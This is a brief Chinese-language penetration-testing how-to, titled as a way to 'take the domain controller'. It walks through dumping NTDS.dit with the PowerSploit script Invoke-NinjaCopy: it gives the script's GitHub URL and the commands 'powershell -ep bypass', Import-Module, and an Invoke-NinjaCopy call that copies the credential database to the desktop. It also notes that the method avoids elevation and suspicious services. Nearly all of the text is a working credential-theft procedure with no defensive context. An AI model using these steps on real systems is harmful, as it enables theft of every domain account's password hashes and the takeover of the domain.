渗透测试——NinjaCopy工具解析NTFS来复制NTDS.dit（拿到域控）

目录

NinjaCopy

进入域控=>将保存的代码文件放到域控上面=>进入powershell模式

 输入下面将文件加载到进程

 成功下载ntds.dit

---

NinjaCopy

Invoke-NinjaCopy，一个 Powershell脚本，能够通过获取卷的读取句柄并解析 NTFS 来复制NTDS.dit、注册表配置单元和位于 NTFS 卷上的任何其他文件。这不需要提升到 SYSTEM、注入到SYSTEM 进程或启动新服务/可疑程序

获取代码，将代码进行保存raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

 

进入域控=>将保存的代码文件放到域控上面=>进入powershell模式

powershell -ep bypass

 输入下面将文件加载到进程

Import-Module .\invoke-NinjaCopy.ps1 #根据自己文件的实际路径搞

 成功下载ntds.dit

Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"